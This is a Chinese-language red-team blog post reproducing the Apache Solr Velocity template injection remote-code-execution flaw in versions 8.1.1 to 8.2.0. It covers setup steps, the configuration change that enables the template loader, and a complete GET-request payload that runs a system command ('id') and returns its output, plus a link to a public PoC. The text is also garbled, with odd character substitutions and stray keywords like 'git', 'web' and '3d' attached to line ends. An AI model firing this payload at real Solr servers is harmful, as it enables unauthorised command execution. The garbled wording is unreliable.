0x01 漏洞介紹0x02 漏洞範圍0x03 漏洞復現java
Solr是一個獨立的企業級搜索應用服務器,它對外提供相似於web-service的API接口。10月31號,國外安全研究院S00pY在GitHub發佈了Apache Solr Velocity模板注入RCE的poc,截至寫稿之時,Apache Solr官方還未發佈該漏洞的補丁。git
Apache Solr8.1.1~8.2.0版本低版本Apache Solr不肯定github
首先先安裝好必要的Java8環境,而後把Solr下載回來web
而後直接經過bin文件下的solr啓動安全
會出現一些警告信息,咱們能夠經過修改bin
下的solr.in.sh
文件來進行消除,將SOLR_ULIMIT_CHECKS
設置爲false
服務器
而後再次進行啓動學習
再啓動後訪問http://IP:8983/solr
可是發現不能建立corespa
咱們先手動在/server/solr/
目錄下建立一個new_core
的文件夾,而後將/server/solr/configsets/_default/
下的conf
目錄拷貝到new_core
目錄下,以後再點建立插件
Apache Solr默認集成VelocityResponseWriter插件,該插件初始化參數中的params.resource.loader.enabled
默認值設置爲false,可是能夠經過POST請求直接修改集合設置,將其設置爲true,而後就能夠構造特殊的GET請求來實現遠程代碼執行。3d
咱們的地址爲http://IP:8983/solr/#/~cores/new_core
而後根據如下的代碼來更改其默認配置
接下來咱們就能夠構造payload來實現RCE了
http://192.168.175.132:8983/solr/new_core/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end複製代碼
只須要更改其中的代碼就能夠了
POC:
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt複製代碼
文章首發公衆號:無意的夢囈(wuxinmengyi)
這是一個記錄紅隊學習、信安筆記,我的成長的公衆號
掃碼關注便可